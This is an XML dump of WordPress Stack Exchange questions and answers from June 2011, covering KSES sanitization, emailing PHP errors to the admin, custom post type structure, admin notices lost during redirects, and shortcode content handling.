  <row Id="20122" PostTypeId="1" CreationDate="2011-06-15T22:39:58.007" Score="2" ViewCount="52" Body="&lt;p&gt;The WP source shows that &lt;code&gt;wp_filter_kses&lt;/code&gt; and &lt;code&gt;wp_filter_post_kses&lt;/code&gt; are passed data that's &quot;expected to be escaped with slashes.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, &lt;code&gt;wp_kses_data&lt;/code&gt; is passed data that's &quot;expected to not be escaped&quot; and &lt;code&gt;wp_kses_post&lt;/code&gt; has code that looks like wp_kses_data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How safe is it to pass unknown (in terms of escaped with slashes) data to these functions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the first set be preferred over the second or is preferring the second set safer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is this a case where you absolutely need to know the condition of your data in terms of slashed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--update--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now figuring that if you don't know whether the data is escaped you could use  &lt;code&gt;wp_kses_data( stripslashes_deep( $data ) );&lt;/code&gt; and run the return though addslashes() if you need escaped in the end.&lt;/p&gt;&#xA;" OwnerUserId="279" LastEditorUserId="279" LastEditorDisplayName="" LastEditDate="2011-06-16T14:33:45.180" LastActivityDate="2011-06-16T14:33:45.180" Title="Which KSES should be used and when?" Tags="&lt;security&gt;&lt;sanitization&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20123" PostTypeId="1" AcceptedAnswerId="20128" CreationDate="2011-06-15T22:51:26.970" Score="1" ViewCount="33" Body="&lt;p&gt;Is it possible to have WordPress email the site administrator whenever a PHP error message is displayed? Ideally the message would also be filtered out of the HTML output, so as to avoid information disclosure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because, while &lt;code&gt;@ini_set('display_errors', 0);&lt;/code&gt; is at the top of my &lt;code&gt;wp-config.php&lt;/code&gt; and working nicely, I want to receive notifications about errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will happily write a custom plugin to do this, if someone who knows more about WP can point me in the direction of where I might hook in to get the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final bit: Am I crazy for wanting something this out-of-the-ordinary?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2011-06-16T01:27:01.240" Title="Can WordPress email the admin about PHP errors, while hiding them from the site?" Tags="&lt;php&gt;&lt;errors&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="20124" PostTypeId="1" CreationDate="2011-06-15T23:00:10.003" Score="0" ViewCount="39" Body="&lt;p&gt;I have one Custom Post Typ named &quot;Gallery&quot; and one custom taxonomy named &quot;Place&quot;. I want to create in home page a loop to display a list with the latest galleries with, thumb, title, and the &quot;place&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how can I display the &quot;place&quot; custom taxonomy name at home page, and if this taxonomy have sub-taxonomies, how can I show it also, like (Tax - SubTax)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!!!!&lt;/p&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2011-06-15T23:00:10.003" Title="Show custom taxonomy name at loop?" Tags="&lt;custom-taxonomy&gt;&lt;loop&gt;&lt;homepage&gt;" />
  <row Id="20125" PostTypeId="1" AcceptedAnswerId="20140" CreationDate="2011-06-15T23:00:37.637" Score="3" ViewCount="119" Body="&lt;p&gt;I want to make a TV Show database in Wordpress that has this URL format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/tvshows/friends/01/12/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/tvshows/&lt;/code&gt; would list all series&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/tvshows/friends/&lt;/code&gt; would list all the seasons available for Friends TV Show&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/tvshows/friends/01/&lt;/code&gt; would list all episodes of Friends from season 1&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/tvshows/friends/01/12/&lt;/code&gt; would show information on the 12th episode of the first season&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here are the different methods I've thought about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The first idea that came to my mind is to create &lt;strong&gt;Pages and nest them&lt;/strong&gt; accordingly. Then create 3 different page templates (TVShow.php, Season.php and Episode.php) and style each page accordingly. The main drawback is that once there are 200 series with 4 seasons and 25 episodes each (total of 20,000 pages) it can be a complete mess to update and find everything. &#xA;(Another drawback is the RSS feed although this can be solved through plugins)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/r2QtU.png&quot; alt=&quot;TV SHows - Page-based&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Some colleagues suggest me to use &lt;strong&gt;Custom Posts&lt;/strong&gt; but these do not have a hierarchical structure and although I could then use mod_rewrite to make the URLs nice I guess it would be even more hassle than using Pages. (There's &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; that manages custom posts through a UI although I cannot figure out how to create a hierarchical organization)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The last idea is to have them as &lt;strong&gt;normal Posts&lt;/strong&gt; and then Categorize them by Serie name, season and episode hence avoiding all the custom post hassle and using simple Wordpress API functions to list and display everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the best/possible ways I can think of, the Page-based option may be the most suitable although scalable in a painful way once there are +500 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, suggestions on how to organize this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! :)&lt;/p&gt;&#xA;" OwnerUserId="4217" LastEditorUserId="4217" LastEditorDisplayName="" LastEditDate="2011-06-15T23:10:18.677" LastActivityDate="2011-06-16T04:37:39.377" Title="TV Show database - Best way for structuring it?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;pages&gt;&lt;structure&gt;&lt;structuring&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="20126" PostTypeId="2" ParentId="20121" CreationDate="2011-06-15T23:28:10.683" Score="3" ViewCount="" Body="&lt;p&gt;The class you are using accepts value =&gt; name pair in the select options array so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $GLOBALS['wp_registered_sidebars'] as $sidebar ) { &#xA;    $sidebar_options[$sidebar['id']] = $sidebar['name'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then you can use &lt;code&gt;$sidebar_options&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-15T23:28:10.683" CommentCount="1" />
  <row Id="20127" PostTypeId="2" ParentId="20125" CreationDate="2011-06-15T23:37:13.030" Score="3" ViewCount="" Body="&lt;p&gt;Justin Tadlock created a movie database using custom taxonomies that achieves something similar and he describes it in a tutorial &lt;a href=&quot;http://justintadlock.com/archives/2009/06/04/using-custom-taxonomies-to-create-a-movie-database&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-06-15T23:37:13.030" CommentCount="1" />
  <row Id="20128" PostTypeId="2" ParentId="20123" CreationDate="2011-06-15T23:42:44.380" Score="4" ViewCount="" Body="&lt;p&gt;Displaying PHP errors isn't really a WordPress thing, it is more of a PHP thing directly. No, I don't think you are crazy for wanting this, I had a similar need for a separate application and I wrote this blog post which should be helpful: &lt;a href=&quot;http://www.johnciacia.com/2010/12/27/php-error-handling/&quot; rel=&quot;nofollow&quot;&gt;http://www.johnciacia.com/2010/12/27/php-error-handling/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, define your own error handler.&lt;/p&gt;&#xA;" OwnerUserId="6228" LastActivityDate="2011-06-15T23:42:44.380" CommentCount="1" />
  <row Id="20130" PostTypeId="1" AcceptedAnswerId="21258" CreationDate="2011-06-16T01:01:35.157" Score="0" ViewCount="165" Body="&lt;p&gt;I have a error handling mechanism setup in &lt;a href=&quot;http://wordpress.org/extend/plugins/basic-google-maps-placemarks/&quot; rel=&quot;nofollow&quot;&gt;one of my plugins&lt;/a&gt; to add notices and errors to the admin area, just like the core does. It works fine in most cases, but there are some situations (like saving a custom post type) where it doesn't. I'm guessing that a redirect is happening behind the scenes, and the messages are being printed before the redirect happens, so that they appear to never show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm guessing this is what's happening&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User edits a custom post type and hits Publish&lt;/li&gt;&#xA;&lt;li&gt;My post_updated callback is called, which validates and saves the custom fields&lt;/li&gt;&#xA;&lt;li&gt;The callback adds an error message&lt;/li&gt;&#xA;&lt;li&gt;Wordpress does a redirect to a some page to do some processing&lt;/li&gt;&#xA;&lt;li&gt;My admin_notices callback is called, which prints and clears the messages&lt;/li&gt;&#xA;&lt;li&gt;Wordpress redirects back to the post&lt;/li&gt;&#xA;&lt;li&gt;My admin_notices callback is called again, but there are no messages to print because they were printed in step #5&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Under normal circumstances steps 4 and 5 don't happen, so everything works fine, but I think when Wordpress saves posts it introduces the extra redirect. Is something I can do to make sure this always works? I was thinking I might be able to check something inside printMessages() and return immediately if it's at step 4, but I'm not sure what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two questions may shed some light on the problem, but don't fully give a solution: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5102/add-validation-and-error-handling-when-saving-custom-fields&quot;&gt;Add validation and error handling when saving custom fields?&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9985/how-to-display-admin-error-notice-if-settings-saved-succesfully&quot;&gt;How to display admin error notice if settings saved succesfully?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Constructor&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function __construct()&#xA;{&#xA;    // Initialize variables&#xA;    $defaultOptions         = array( 'updates' =&amp;gt; array(), 'errors' =&amp;gt; array() );&#xA;    $this-&amp;gt;options          = array_merge( get_option( self::PREFIX . 'options', array() ), $defaultOptions );&#xA;    $this-&amp;gt;updatedOptions   = false;&#xA;    $this-&amp;gt;userMessageCount = array( 'updates' =&amp;gt; 0, 'errors' =&amp;gt; 0 );&#xA;    // more&#xA;&#xA;    add_action( 'admin_notices',    array($this, 'printMessages') );&#xA;    add_action( 'post_updated',     array($this, 'saveCustomFields') );&#xA;&#xA;    // does other stuff&#xA;}&#xA;&#xA;/**&#xA; * Saves values of the the custom post type's extra fields&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function saveCustomFields()&#xA;{&#xA;    // does stuff&#xA;&#xA;    if( true ) // if there was an error&#xA;        $this-&amp;gt;enqueueMessage( 'foo', 'error' );&#xA;}&#xA;&#xA;/**&#xA; * Displays updates and errors&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function printMessages()&#xA;{&#xA;    foreach( array('updates', 'errors') as $type )&#xA;    {&#xA;        if( $this-&amp;gt;options[$type] &amp;amp;&amp;amp; ( self::DEBUG_MODE || $this-&amp;gt;userMessageCount[$type] ) )&#xA;        {&#xA;            echo '&amp;lt;div id=&quot;message&quot; class=&quot;'. ( $type == 'updates' ? 'updated' : 'error' ) .'&quot;&amp;gt;';&#xA;            foreach($this-&amp;gt;options[$type] as $message)&#xA;                if( $message['mode'] == 'user' || self::DEBUG_MODE )&#xA;                    echo '&amp;lt;p&amp;gt;'. $message['message'] .'&amp;lt;/p&amp;gt;';&#xA;            echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;            $this-&amp;gt;options[$type] = array();&#xA;            $this-&amp;gt;updatedOptions = true;&#xA;            $this-&amp;gt;userMessageCount[$type] = 0;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;/**&#xA; * Queues up a message to be displayed to the user&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; * @param string $message The text to show the user&#xA; * @param string $type 'update' for a success or notification message, or 'error' for an error message&#xA; * @param string $mode 'user' if it's intended for the user, or 'debug' if it's intended for the developer&#xA; */&#xA;protected function enqueueMessage($message, $type = 'update', $mode = 'user')&#xA;{&#xA;    array_push($this-&amp;gt;options[$type .'s'], array(&#xA;        'message' =&amp;gt; $message,&#xA;        'type' =&amp;gt; $type,&#xA;        'mode' =&amp;gt; $mode&#xA;    ) );&#xA;&#xA;    if($mode == 'user')&#xA;        $this-&amp;gt;userMessageCount[$type . 's']++;&#xA;&#xA;    $this-&amp;gt;updatedOptions = true;&#xA;}&#xA;&#xA;/**&#xA; * Destructor&#xA; * Writes options to the database&#xA; * @author Ian Dunn &amp;lt;redacted@mpangodev.com&amp;gt;&#xA; */&#xA;public function __destruct()&#xA;{&#xA;    if($this-&amp;gt;updatedOptions)&#xA;        update_option(self::PREFIX . 'options', $this-&amp;gt;options);&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The updated code with the accepted answer has been committed to core.php in the plugin's &lt;a href=&quot;http://plugins.svn.wordpress.org/basic-google-maps-placemarks/trunk/&quot; rel=&quot;nofollow&quot;&gt;trunk&lt;/a&gt; in case anyone wants to see a full working copy. The next &lt;a href=&quot;http://plugins.svn.wordpress.org/basic-google-maps-placemarks/tags/&quot; rel=&quot;nofollow&quot;&gt;stable release&lt;/a&gt; that will have it is 1.2.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-03T19:09:05.243" LastActivityDate="2011-07-03T19:09:05.243" Title="Custom admin_notices Messages Ignored During Redirects" Tags="&lt;plugin-development&gt;&lt;redirect&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="20131" PostTypeId="1" AcceptedAnswerId="20308" CreationDate="2011-06-16T01:16:19.443" Score="1" ViewCount="88" Body="&lt;p&gt;I'm using More Fields to create some meta boxes on my custom post type. Is it possible to have a caption for each &quot;group&quot; of fields in the More Fields options? I would like to provide some basic information on the post edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see you can enter a caption for each individual field but it would be handy to be able to give the group a caption also.&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-06-17T20:33:24.220" Title="Captions for More Fields groups, not just individual fields" Tags="&lt;captions&gt;&lt;plugin-more-fields&gt;" AnswerCount="1" />
  <row Id="20132" PostTypeId="2" ParentId="19967" CreationDate="2011-06-16T01:20:39.963" Score="0" ViewCount="" Body="&lt;p&gt;So instead of creating a theme for it i ended up using the &lt;code&gt;template_redirect&lt;/code&gt; with an if statement to check the url for a certain thing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function page_redirect() {&#xA;    if ($_SERVER['REQUEST_URI'] == $home . '/other-sites')  {&#xA;        require(TEMPLATEPATH . '/includes/other-sites.php');&#xA;    }&#xA;    if ($_SERVER['REQUEST_URI'] == $home . 'login')  {&#xA;        require(TEMPLATEPATH . '/includes/login.php');&#xA;    }&#xA;}&#xA;add_action('template_redirect', 'page_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply all this does is check to see if the requested URI is &lt;code&gt;wpsite.com/other-sites&lt;/code&gt; or &lt;code&gt;wpsite.com/login&lt;/code&gt; and if this is true then load this template instead. Since i am using some WordPress features though in these custom templates i have also made a check for the title since WordPress will return a page not found title.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-16T01:20:39.963" />
  <row Id="20133" PostTypeId="2" ParentId="20123" CreationDate="2011-06-16T01:27:01.240" Score="1" ViewCount="" Body="&lt;p&gt;Typically, as v0idless mentioned, this is done on the server side, There any many tools to manage error logs and emails out there. The error log reporting on the server end is much more detailed than you could write in a plugin.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I have never tested it I believe &lt;code&gt;error_log&lt;/code&gt; php function supports email.&#xA;&lt;a href=&quot;http://php.net/manual/en/function.error-log.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.error-log.php&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reporting constant errors can kill your site/server depending on the error threshold you have set,  I recommend you just email the error.log file once every few hours/days.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance on the server end:    &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All fatal or hard errors are in a&#xA;separate log file which is emailed&#xA;immediately.( Also instant&#xA;message/cell phone support).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All other errors in are in another&#xA;log file emailed every 24 hours (&#xA;which I never read:) )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They log files are also backed up&#xA;every day.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I actually use rubygems to do this stuff since it's so damn easy.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-16T01:27:01.240" />
  <row Id="20134" PostTypeId="2" ParentId="20122" CreationDate="2011-06-16T01:59:22.900" Score="1" ViewCount="" Body="&lt;p&gt;From the codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wp_filter_kses should generally be&#xA;  preferred over wp_kses_data because&#xA;  wp_magic_quotes escapes $_GET, $_POST,&#xA;  $_COOKIE, $_SERVER, and $_REQUEST&#xA;  fairly early in the hook system,&#xA;  shortly after 'plugins_loaded' but&#xA;  earlier then 'init' or 'wp_loaded'.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first set is then preferred. More of a question of, &quot;is stripping slashes more secure than not?&quot; They both use the same allowed HTML. Well yeah it depends, in absolute cases, but I would assume that it is more secure to than not to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic useage of kses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filtered = wp_kses($unfiltered, $allowed_html, $allowed_protocols);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the wordpress kses functions then just do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filtered = wp_kses($unfiltered, $allowedtags);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SO:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filtered = wp_kses_data($unfiltered);&#xA;$filtered = wp_filter_kses($unfiltered); // does the same, but will also slash escape the data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;post&lt;/code&gt; variations use a different set of tags; those allowed for use by non-admins. &lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-06-16T01:59:22.900" CommentCount="1" />
  <row Id="20135" PostTypeId="2" ParentId="20130" CreationDate="2011-06-16T02:55:34.420" Score="0" ViewCount="" Body="&lt;p&gt;I currently don't have a clue what's going on with your plugin, so I point you at two things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_parse_args&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_parse_args()&lt;/code&gt;&lt;/a&gt; is a nice way to merge defaults with other arguments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private $defaults;&#xA;&#xA;function wpse20130_parse_us( $args );&#xA;{&#xA;    $new_args = wp_parse_args( $this-&amp;gt;defaults, $args );&#xA;    return $new_args;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this Plugin is a little closer to how core handles errors (straight out of my head - may contain errors itself):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Test Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;Plugin Name:    WPSE Show Error on post&#xA;Plugin URI:     https://github.com/franz-josef-kaiser/&#xA;Description:    Example for the useage of the WP Error class in a plugin&#xA;Author:         Franz Josef Kaiser&#xA;Author URI:     https://github.com/franz-josef-kaiser&#xA;Version:        0.1&#xA;License:        GPL v2 - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&#xA;*/&#xA;&#xA;// Secure: doesn't allow to load this file directly&#xA;if( ! class_exists('WP') ) &#xA;{&#xA;    header( 'Status: 403 Forbidden' );&#xA;    header( 'HTTP/1.1 403 Forbidden' );&#xA;    exit;&#xA;}&#xA;&#xA;if ( ! class_exists('wpse20130Error') )&#xA;{&#xA;&#xA;class wpse20130Error&#xA;{&#xA;    private $args = array();&#xA;&#xA;    private $error_msg;&#xA;&#xA;    const TEXTDOMAIN = 'textdomain';&#xA;&#xA;    function __construct()&#xA;    {&#xA;        $this-&amp;gt;wpse20130_input( $this-&amp;gt;args );&#xA;&#xA;        add_action( 'admin_notices', array($this, 'wpse20130_trigger_error') );&#xA;    }&#xA;&#xA;    function wpse20130_input( $args )&#xA;    {&#xA;        if ( ! isset( $args['some_important_value'] ) )&#xA;            $this-&amp;gt;error_msg = sprintf(&#xA;                __(&#xA;                    'You have to specify the some_important_value inside the %2$s function.'.'&amp;lt;br /&amp;gt;'.&#xA;                    'Error triggered inside: file name %1$s (line number %3$s)'&#xA;                    ,self::TEXTDOMAIN&#xA;                )&#xA;                ,__FILE__&#xA;                ,__FUNCTION__&#xA;                ,__LINE__&#xA;            );&#xA;        }&#xA;&#xA;    function wpse20130_trigger_error()&#xA;    {&#xA;        // Trigger Errors if we got some&#xA;        if ( isset( $this-&amp;gt;error_msg ) )&#xA;        {&#xA;            $error = new WP_Error( 'input_data', $this-&amp;gt;error_msg );&#xA;            if ( is_wp_error( $error ) ) &#xA;            {&#xA;                $output = &#xA;                    '&amp;lt;div id=&quot;error-'.$error-&amp;gt;get_error_code().'&quot; class=&quot;error error-notice&quot;&amp;gt;'.&#xA;                        $error-&amp;gt;get_error_message().&#xA;                    '&amp;lt;/div&amp;gt;';&#xA;&#xA;                // die &amp;amp; print error message&#xA;                echo $output;&#xA;            }&#xA;        }&#xA;    }&#xA;} // END Class wpse20130Error&#xA;&#xA;new wpse20130Error();&#xA;} // endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give it a try. :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-16T18:29:18.250" LastActivityDate="2011-06-16T18:29:18.250" CommentCount="2" />
  <row Id="20136" PostTypeId="1" AcceptedAnswerId="20138" CreationDate="2011-06-16T02:57:09.713" Score="2" ViewCount="42" Body="&lt;p&gt;Suppose I have content like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[xxx]&#xA;Here is some content in xxx &#xA;[/xxx]&#xA;&#xA;Here is content outside xxx ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I somehow just get &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;content inside &lt;code&gt;[xxx]&lt;/code&gt; ONLY&lt;/li&gt;&#xA;&lt;li&gt;content outside &lt;code&gt;[xxx]&lt;/code&gt; ONLY&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-16T03:13:34.970" Title="How can I just get content inside a shortcode or just outside" Tags="&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="20137" PostTypeId="2" ParentId="19000" CreationDate="2011-06-16T02:57:19.427" Score="0" ViewCount="" Body="&lt;p&gt;I had this same issue and thanks to the clues above, how I resolved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commented out line was causing the error messages and the non-commented line is what I changed it to and resolved warning.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*$query-&amp;gt;set( 'post_type', array ( 'product' ) );*/&#xA;$query-&amp;gt;set( 'post_type', 'product' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6231" LastActivityDate="2011-06-16T02:57:19.427" />
  <row Id="20138" PostTypeId="2" ParentId="20136" CreationDate="2011-06-16T03:13:34.970" Score="3" ViewCount="" Body="&lt;p&gt;Depends on the shortcode. If you have access to the shortcode's handler function, that function's second argument is the content inside the shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse20136_shortcode( $atts, $content ){&#xA;  // $content has the content inside xxx&#xA;}&#xA;&#xA;register_shortcode( 'xxx', 'wpse20136_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For getting all content not in shortcodes, that's easy. &lt;code&gt;strip_shortcodes()&lt;/code&gt; does that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strip_shortcodes( get_the_content() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example, will give you the content of the current post with only the content not inside shortcodes.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-16T03:13:34.970" />
  <row Id="20139" PostTypeId="2" ParentId="18854" CreationDate="2011-06-16T03:25:13.910" Score="0" ViewCount="" Body="&lt;p&gt;I also had a blank page when I tried implementing the suggested code. For some reason, my site didn't like all the double-quotes in this section (from page 3 of Chip's tutorial):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $tab == $current ) :&#xA;    $links[] = &quot;&amp;lt;a class=&quot;nav-tab nav-tab-active&quot; href=&quot;?page=oenology-    settings&amp;amp;tab=$tab&quot;&amp;gt;$name&amp;lt;/a&amp;gt;&quot;;&#xA;else :&#xA;    $links[] = &quot;&amp;lt;a class=&quot;nav-tab&quot; href=&quot;?page=oenology-settings&amp;amp;tab=$tab&quot;&amp;gt;$name&amp;lt;/a&amp;gt;&quot;;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had to change it and make use of single quotes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $tab == $current ) :&#xA;    $links[] = '&amp;lt;a class=&quot;nav-tab nav-tab-active&quot; href=&quot;?page=oenology-settings&amp;amp;tab=' . $tab . '&quot;&amp;gt;' . $name . '&amp;lt;/a&amp;gt;';&#xA;else :&#xA;    $links[] = '&amp;lt;a class=&quot;nav-tab&quot; href=&quot;?page=oenology-settings&amp;amp;tab=' . $tab . '&quot;&amp;gt;' . $name . '&amp;lt;/a&amp;gt;';&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seemed to fix it for me. I'm not sure if that's the same problem you're facing though.&lt;/p&gt;&#xA;" OwnerUserId="6233" LastEditorUserId="6233" LastEditorDisplayName="" LastEditDate="2011-06-16T04:58:06.183" LastActivityDate="2011-06-16T04:58:06.183" />
  <row Id="20140" PostTypeId="2" ParentId="20125" CreationDate="2011-06-16T04:37:39.377" Score="1" ViewCount="" Body="&lt;p&gt;First, you shouldn't do this with the built in post types of &lt;code&gt;post&lt;/code&gt; or &lt;code&gt;page&lt;/code&gt;. Use a custom post type. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Example: &lt;code&gt;movies&lt;/code&gt; and &lt;code&gt;series&lt;/code&gt;, where&#xA;  &lt;code&gt;movies&lt;/code&gt; is non-hierarchical, but&#xA;  &lt;code&gt;series&lt;/code&gt; is.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18459/wpse-plugin-repository-show-the-plugins-that-came-out-of-wp-answers/18553#18553&quot;&gt;&lt;code&gt;register_post_type()&lt;/code&gt;&lt;/a&gt; and set &lt;code&gt;hierarchical&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; (default: &lt;code&gt;false&lt;/code&gt;). Take a look at the &lt;code&gt;rewrite&lt;/code&gt; argument &gt; &lt;code&gt;with_front&lt;/code&gt; to prepend &lt;code&gt;/series/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add some templates: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;series-list.php, &lt;/li&gt;&#xA;&lt;li&gt;series-detail.php, &lt;/li&gt;&#xA;&lt;li&gt;series-season.php, &lt;/li&gt;&#xA;&lt;li&gt;series-episode.php...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-16T04:37:39.377" />
